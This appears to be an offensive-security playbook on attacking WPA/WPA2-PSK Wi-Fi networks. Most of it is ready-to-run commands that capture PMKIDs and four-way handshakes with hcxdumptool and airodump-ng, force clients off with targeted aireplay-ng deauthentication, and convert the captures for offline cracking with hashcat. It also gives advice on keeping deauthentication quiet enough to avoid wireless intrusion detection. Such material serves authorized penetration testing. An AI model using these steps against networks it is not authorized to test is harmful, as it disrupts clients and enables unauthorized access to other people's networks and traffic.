offensive-wpa2-psk

WPA/WPA2-PSK Attacks

The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).

Quick Workflow

1. Identify the target BSSID, channel, and encryption (see offensive-wifi-recon)
2. Try PMKID first (fast, no client interaction)
3. Fall back to four-way handshake capture if PMKID isn't yielded
4. Convert capture to hashcat-compatible format
5. Crack offline with appropriate wordlist + rules + masks

---

PMKID Attack (Preferred When Possible)

The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.

# Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US

# Sweep PMKIDs across all visible APs
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
  --enable_status=1 \
  --filterlist_ap=targets.txt --filtermode=2

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 pmkid.pcapng

targets.txt contains BSSIDs (one per line) you're authorized to attack.

If hash.hc22000 is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.

Four-Way Handshake Capture

# Pin to channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

If a client is associated:

# Targeted deauth (single client, low volume)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

The handshake will appear in airodump's top-right corner as WPA handshake: AA:BB:CC:DD:EE:FF.

Why one client at a time: broadcast deauth (no -c) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.

Verifying the Capture

hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines

If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.